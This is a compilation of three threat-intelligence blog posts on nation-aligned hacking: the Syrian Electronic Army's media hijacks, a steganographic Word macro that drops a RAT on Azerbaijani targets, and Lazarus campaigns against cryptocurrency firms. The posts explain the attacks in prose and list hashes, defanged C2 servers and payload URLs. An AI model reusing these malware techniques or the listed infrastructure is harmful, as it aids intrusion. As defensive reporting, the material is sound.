# Regional Conflict and Cyber Blowback Matt Dahl October 10, 2013 The Internet has changed many aspects of modern life, from communication with friends to how we watch TV or listen to music. It has also changed the way we engage in conflict with others; this can be seen on a micro level in the emergence of cyber bullying or at the macro level in the declaration by the U.S. Department of Defense declaring “Cyber” a fifth domain of warfare. Cyber conflict can be an equalizer for adversaries who have limited ability to achieve their goals through other conventional avenues. As an example, take the case of individuals supportive of the Syrian regime; these supporters have little ability to engage in kinetic warfare against Western or anti-regime targets in the physical world, but leveraging cyber attacks is well within their capability. Over the past three months, the adversary designated by CrowdStrike as DEADEYE JACKAL (commonly known as the Syrian Electronic Army) carried out a number of attacks against major media outlets. In mid-August, reports emerged that the adversary successfully redirected visitors to major media websites such as the Washington Post to a DEADEYE JACKAL-controlled website; the actor also claimed to have similarly compromised the websites of CNN and Time. Several weeks later, DEADEYE JACKAL successfully took down the New York Times’ website through a DNS redirection. It is interesting to note that these were not direct attacks against the targeted organizations’ networks; they were carried out by compromising the networks of third-party service providers. These third parties were leveraged by the targets to support social media marketing, content publishing, advertising, and domain registration/hosting. Compromising these vendors is a new tactic for DEADEYE JACKAL, who leveraged it as a force multiplier. This tactic negated the necessity of compromising three hard targets, allowing the adversary to increase impact dramatically by finding a common link and exploiting it. The attacks by DEADEYE JACKAL were clearly motivated by press surrounding the conflict in Syria that was critical of the Syrian regime. This adversary is supportive of the current Syrian regime, and it likely desired to control the messaging it felt was driving international anti-regime sentiment. In general, these attacks were disruptive and did not target sensitive data of the media outlets or service providers. These attacks represent the emerging threat of regional conflicts spilling over into the cyber domain and damaging or embarrassing entities far outside of the conflict zone. Desire to control messaging about the Syrian regime motivated DEADEYE JACKAL’s targeting of the media; however, they could easily adjust targeting toward more impactful targets. As an example, DEADEYE JACKAL may have similarly decided that Western financial institutions would be an effective target to dissuade kinetic involvement of external militaries. Financial entities in the U.S. have already been victimized by attackers calling themselves the “Cyber fighters of Izz Ad-Din Al Qassam” who purportedly seek retribution for an offensive video posted to a popular video sharing site. DEADEYE JACKAL could also turn its sights on entities within the defense industrial base, as the weapons produced by those companies might be used in a strike against Syrian government forces. Organizations in the oil and gas sector could also be targeted if the adversary views interference in the Syrian conflict as a pretext to secure access to oil resources in the region. Whatever the business vertical one can come up with, there is a potential reason why an irrational actor motivated by self-defense might seek to leverage cyber attacks against it. The spillover of regional conflict is also demonstrated by the activity of another adversary designated by CrowdStrike as CORSAIR JACKAL (also known as the Tunisian Cyber Army). During 2013, this adversary carried out a smaller number of high-profile attacks aimed at organizations in the financial, oil and gas, and shipping sectors. Additionally, in March 2013 the adversary also made unconfirmed claims that it compromised a large user database from a financial institution. Although CORSAIR JACKAL’s operations were not as visible as those of DEADEYE JACKAL, the adversary represents another instance of malicious cyber activity emanating from a tumultuous region directed at organizations that may not have a clear connection to the conflict in that region. In the case of CORSAIR JACKAL, the only legitimacy needed to target Western businesses was anti-Western sentiment from perceived interference by Western governments in theatre. Organizations across all sectors must consider the risk of conflict in the physical world spilling over into the cyber domain and resulting in malicious actors targeting their systems, operations, or customers. The use of cyber attacks is not declining; it is rapidly proliferating. As tools become easier to acquire, use, and modify, new adversaries are stepping onto the cyber domain from all over the world every day. It is for these reasons that CrowdStrike advocates an intelligence-driven approach to security; the CrowdStrike Intelligence team tracks adversaries emanating from geographic locations across the globe and various motivations. This past quarter we identified multiple new adversaries with specific Tactics, Techniques, and Practices (TTPs) and associated actionable indicators for our intelligence subscription customers. These new adversaries include the two nationalistically motivated actors discussed above, DEADEYE JACKAL and CORSAIR JACKAL, and a number of others engaged in targeted intrusion operations such as STONE PANDA, NIGHTSHADE PANDA, GOBLIN PANDA, and MAGIC KITTEN.
# New Steganography Attack Targets Azerbaijan **Threat Intelligence Team** **March 5, 2021** **Authored by Hossein Jazi** Threat actors often vary their techniques to thwart security defenses and increase the efficiency of their attacks. One of the tricks they use is known as steganography, which consists of hiding content within images. We recently observed a malicious Word file that uses this technique to drop a Remote Administration Trojan (RAT) that was new to us. Based on the decoy document, we assess that this attack is targeting the government and military of Azerbaijan. Since April 2020, attackers have been taking advantage of the tensions between Azerbaijan and Armenia to target Azerbaijanis. Researchers found several actors that have exploited this conflict via phishing lures to drop AgentTesla and PoetRat. While AgentTesla has been distributed globally through different spam campaigns, PoetRat has been used specifically to target Azerbaijanis. It seems the document we analyze in this blog has no connection with PoetRat for several reasons: The PoetRat actor has not used steganography in its malicious documents and used Python and Lua variants, while the actor we analyzed has dropped a .Net RAT called Fairfax, which does not seem to be a .Net variant of PoetRat. ## Maldoc Analysis The document lure is written in Azerbaijani and talks about a “National Security and Scientific” conference that will be held in Azerbaijan in 2021. The malicious document contains a macro that is obfuscated. The attacker has inserted random characters within the meaningful names to obfuscate the functions and variables names. Here are some examples: - `AddArg_OACZT_20210214_115603_xokkn_uments29` -> `AddArguments29` - `zixokknpPath` -> `zipPath` - `tesOACZTtcustomdirabcdefghijklmnopqrstuvwxyzect_OACZT_20210214_115603_xokkn_ory` -> `testcustomdirectory` After deobfuscation, the names become clear and can easily figure out the intent of the macro. The attacker also used another layer of obfuscation to encode strings. Function `MyFunc23` has been defined for this purpose. This function receives an array of numbers and decodes them into a string. This function has a loop that reads four numbers of the input array in each iteration and passes them to another function to convert them to a character. At the end, it concatenates those characters to build the final string. The convertor function defines a big switch statement that returns the character equivalent of each four numbers. Upon opening the document and enabling the content, the macro will be executed. At first, it defines the following files and directories: - `zipPath`: Directory that stores the extracted zip file from the PNG image - `appFolder`: Directory that stores the RAT - `runner`: Path of the batch file which executes the RAT - `docxPath`: Path of the file that keeps a copy of the current document - `docxCopyPath`: Path of the zip format of the copied document - `docxUnzipFolder`: Directory that contains the document after being unzipped Then, it tries to create the `appFolder` directory, and if it could not create the directory, it exits. After creating the directory, it copies itself in a new format to the file path defined before. The reason it copies itself in a new format is that the current document is protected, and even after unzipping its content, the macro will not be able to find the image to extract the zip file. To create a copy of itself, it uses the `SaveAs2` function that saves the specified document with a new name or format. The string `wdFormatDocumentDefault` has been passed in as a file format parameter, which saves the document as DOCX format. In this way, the macro can see the image that has the embedded zip file. In the next step, it extracts the created document copy into the created folder and calls the `ExtractFromPng` function to extract the embedded object from the PNG file. This function calls itself recursively to read all chunk identifications within the PNG image until it reaches the `puNk` chunk identification, which is the chunk that has the embedded zip file. After finding the chunk, it extracts and writes it into `fairfax.zip`. The `fairfax.zip` is then extracted into `%APPDATA%\vstelmetry` directory. It contains an executable file (`Fairfax.exe`) as well as a batch file (`runner.bat`). The executable has been written in Visual Studio, and it seems the attacker archived the whole Visual Studio project. At the end, it performs some dummy functions and then executes `runner.bat` to execute `fairfax.exe`. ### FairFax.exe This is a .Net RAT that has been developed using the TAP model (Task Asynchronous Programming model). This model provides an abstraction over asynchronous code. In this model, each functionality can be defined as a Task and will be executed based on the external resource allocation and when other tasks complete. This RAT is not obfuscated and contains three main functionalities: - Download files - Upload files - Take screenshots All the configurations have been stored in Global settings, including `appfoldername`, `vbfilename`, `host address`, `scheduled task info`, `vbfile content`, and `cipherkey`. All the communications with the server are AES encrypted and base64 encoded. For network communications, it has defined four different tasks to send and receive files and commands: `SendFileAsync`, `SendAsync`, `ReceiveAsync`, and `ReceiveFileAsync`. To manage the files, it has a `FileManager` class that can get the file and save it into a temp directory and also zip files. It also has the capability to make itself persistent by creating a `vbsfile` and adding it to Scheduled Tasks. ## Conclusion Threat actors use many techniques to subvert analysis and detection; in this blog post, we examined a group employing the less common technique of steganography, in which the actor hides a malicious payload within an image. Due to the geopolitical events happening between Azerbaijan and Armenia, digital attacks against these countries have increased in the past year. Cisco Talos reported a new RAT named PoetRAT, which was also used to target Azerbaijan, though differences in the sample analyzed in this post suggest this RAT is not related. Malwarebytes analysts will continue to track this activity and report on any new findings related to this threat. ## IOCs **File Name** | **SHA256** --- | --- telebler.doc | ef02527858797356c5e8571c5a22d00c481fbc9ce73c81a341d482ea3776878a Fairfax.zip | 4ad451a1c07d1760a0586c3c5132a68539d98198c402f4fc2b42b954ea9f76d7 auroraXXXX.zip | 0573926b05c34af23c7003cc0a30cfc682335f7e787958f9be7e6804edacd0a1 auroraXXXX.docx | image1.png | f33db9011c69e6f4b13c765f77466de023f442d8a75bce8ab450f4978275671a runner.bat | 909a94451d2640f89ec25aebcede14f238ead06b94f28544a99f4ecc2411b3b5 Fairfax.exe | ab0f4d290f3d4532896dea80563e342c825b12e0111c2d54eac62b1b942b854b Fairfax.exe | 69e880b0545330b8e6d1543c47d89b4907fb79899b40c2478c591225ffc551ce **C2:** vnedoprym.kozow[.]com 111.90.150[.]37 ## MITRE ATT&CK Techniques **Tactic** | **Id** | **Name** | **Details** --- | --- | --- | --- Initial Access | T1566 | Phishing | Distributing maldocs through phishing emails Execution | T1059.003 | Windows command shell | Starts CMD.EXE for commands execution | T1064 | Scripting | Executing FairFax.exe using batch file | T1059.001 | PowerShell | Executes PowerShell scripts | T1204.002 | User Execution | Manual execution by user Persistence | T1053.005 | Scheduled Task | Uses Task Scheduler for persistence Defense Evasion | T1140 | Deobfuscate/Decode Files | The RAT has the ability to decode base64 data and decrypt AES encrypted data Collection | T1113 | Screen Capture | The RAT has the ability to capture the screen | T1560.001 | Archive Collected Data: Archive via Utility | The RAT archived files using zip utility Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | Using HTTPS for C2 communications | T1132.001 | Data Encoding: Standard Encoding | C2 traffic is base64 encoded and AES encrypted Exfiltration | T1041 | Exfiltration Over C2 Channel | Exfiltrates the data over C2 channel
# Cryptocurrency Businesses Still Being Targeted by Lazarus Authors: GReAT It’s hardly news to anyone who follows cyberthreat intelligence that the Lazarus APT group targets financial entities, especially cryptocurrency exchanges. Financial gain remains one of the main goals for Lazarus, with its tactics, techniques, and procedures constantly evolving to avoid detection. In the middle of 2018, we published our Operation Applejeus research, which highlighted Lazarus’s focus on cryptocurrency exchanges utilizing a fake company with a backdoored product aimed at cryptocurrency businesses. One of the key findings was the group’s new ability to target macOS. Since then, Lazarus has been busy expanding its operations for the platform. Further tracking of their activities targeting the financial sector enabled us to discover a new operation, active since at least November 2018, which utilizes PowerShell to control Windows systems and macOS malware for Apple users. ## Infection Procedure Lazarus is a well-organized group, something that can be seen from their malware population: not only have we seen them build redundancy to reserve some malware in case of in-operation hot spare replacement of ‘burnt’ (detected) samples, but they also conform to specific internal standards and protocols when developing backdoors. This case is no different. They have developed custom PowerShell scripts that communicate with malicious C2 servers and execute commands from the operator. The C2 server script names are disguised as WordPress files as well as those of other popular open source projects. After establishing the malware control session with the server, the functionality provided by the malware includes: - Set sleep time (delay between C2 interactions) - Exit malware - Collect basic host information - Check malware status - Show current malware configuration - Update malware configuration - Execute system shell command - Download & Upload files Lazarus uses different tactics to run its C2 servers: from purchasing servers to using hacked ones. We have seen some legitimate-looking servers that are most likely compromised and used in malicious campaigns. According to server response headers, they are most likely running an old vulnerable instance of Internet Information Services (IIS) 6.0 on Microsoft Windows Server 2003. Another C2 server was probably purchased by Lazarus from a hosting company and used to host macOS and Windows payloads. The geography of the servers varies, from China to the European Union. But why use two different types of servers? The group seems to have a rule (at least in this campaign) to only host malware on rented servers, while hosting C2 scripts for malware communication on compromised servers. ## Infrastructure Segregation by Purpose The malware was distributed via documents carefully prepared to attract the attention of cryptocurrency professionals. Seeing as how some of the documents were prepared in Korean, we believe that South Korean businesses are a high priority for Lazarus. One document entitled ‘Sample document for business plan evaluation of venture company’ (translated from Korean) looks like this: Another macro-weaponized document contains a business overview of what seems to be a Chinese technology consulting group named LAFIZ. We couldn’t confirm if it’s a legitimate business or another fake company made up by Lazarus. Their website lafiz[.]link has been parked since 2017. Based on our telemetry, we found a cryptocurrency exchange company attacked with a malicious document containing the same macro. The document’s content provided information for coin listings with a translation in Korean. The payloads show that Lazarus keeps exploring more ways to evade detection to stay under the radar longer. The group builds malware for 32-bit and 64-bit Windows separately to support both platforms and have more variety in terms of compiled code. The Windows payloads distributed from the server hosting the Mac malware have a CheckSelf export function, and one of them has the internal name ‘battle64.dll’. From that point, we managed to find additional Windows malware samples containing the CheckSelf export function and an internal name containing the word ‘battle’. These Windows malware samples were delivered using malicious HWP (Korean Hangul Word Processor format) documents exploiting a known PostScript vulnerability. It should be noted that HWP documents are only popular among Korean users (Hangul Word Processor was developed in South Korea) and we have witnessed several attacks using the same method. ## Connection with Previous HWP Attacks It’s no secret that Apple products are now very popular among successful internet startups and fintech companies, and this is why the malicious actor built and used macOS malware. While investigating earlier Lazarus incidents, we anticipated this actor would eventually expand its attacks to macOS. It appears that Lazarus is using the same developers to expand to other platforms because some of the features have remained consistent as its malware evolves. We’d therefore like to ask Windows and macOS users to be more cautious and not fall victim to Lazarus. If you’re part of the booming cryptocurrency or technological startup industry, exercise extra caution when dealing with new third parties or installing software on your systems. It’s best to check new software with an antivirus or at least use popular free virus-scanning services such as VirusTotal. And never ‘Enable Content’ (macro scripting) in Microsoft Office documents received from new or untrusted sources. Avoid being infected by fake or backdoored software from Lazarus – if you need to try out new applications, it’s better to do so offline or on an isolated network virtual machine which you can erase with a few clicks. We’ll continue posting on Lazarus’s latest tactics and tricks in our blog. In the meantime, stay safe! ## File Hashes **Malicious office document used in real attack** - 4cbd45fe6d65f513447beb4509a9ae3d 샘플_기술사업계획서(벤처기업평가용).doc - 6a0f3abd05bc75edbfb862739865a4cc 문의_Evaluation Table.xls **Testing office document** - 29a37c6d9fae5664946c6607f351a8dc list.doc - e9a6a945803722be1556fd120ee81199 list.doc - a18bc8bc82bca8245838274907e64631 list.doc **macOS malware** - 4345798b2a09fc782901e176bd0c69b6 **PowerShell script** - cb713385655e9af0a2fc10da5c0256f5 test.ps1 - e6d5363091e63e35490ad2d76b72e851 test.ps1 – It does not contain URLs. **Windows executable payload** - 171b9135540f89bf727b690b9e587a4e wwtm.dat - 668d5b5761755c9d061da74cb21a8b75 wwtm.dat - ad3f966d48f18b5e7b23a579a926c7e8 **Manuscrypt payload** - 35e38d023b253c0cd9bd3e16afc362a7 - 72fe869aa394ef0a62bb8324857770dd - 86d3c1b354ce696e454c42d8dc6df1b7 - 5182e7a2037717f2f9bbf6ba298c48fb **Malicious HWP file** - F392492ef5ea1b399b4c0af38810b0d6 일일동향보고_180913.hwp - 0316f6067bc02c23c1975d83c659da21 국가핵심인력등록관리제등검토요청(10.16)(김경환변호사).hwp ## Domains and IPs **Compromised first stage C2 server** - http://bluecreekrobotics[.]com/wp-includes/common.php - http://dev.microcravate[.]com/wp-includes/common.php - http://dev.whatsyourcrunch[.]com/wp-includes/common.php - http://enterpriseheroes.com[.]ng/wp-includes/common.php - http://hrgp.asselsolutions[.]com/wp-includes/common.php - https://baseballcharlemagnelegardeur[.]com/wp-content/languages/common.php - https://bogorcenter[.]com/wp-content/themes/index2.php - https://eventum.cwsdev3.bi[.]com/wp-includes/common.php - https://streamf[.]ru/wp-content/index2.php - https://towingoperations[.]com/chat/chat.php - https://vinhsake[.]com//wp-content/uploads/index2.php - https://www.tangowithcolette[.]com/pages/common.php **Second stage C2 server** - http://115.28.160[.]20:443 – Compromised server **Malware hosting server** - http://nzssdm[.]com/assets/wwtm.dat – Windows payload distribution URL - http://nzssdm[.]com/assets/mt.dat – Mac payload distribution URL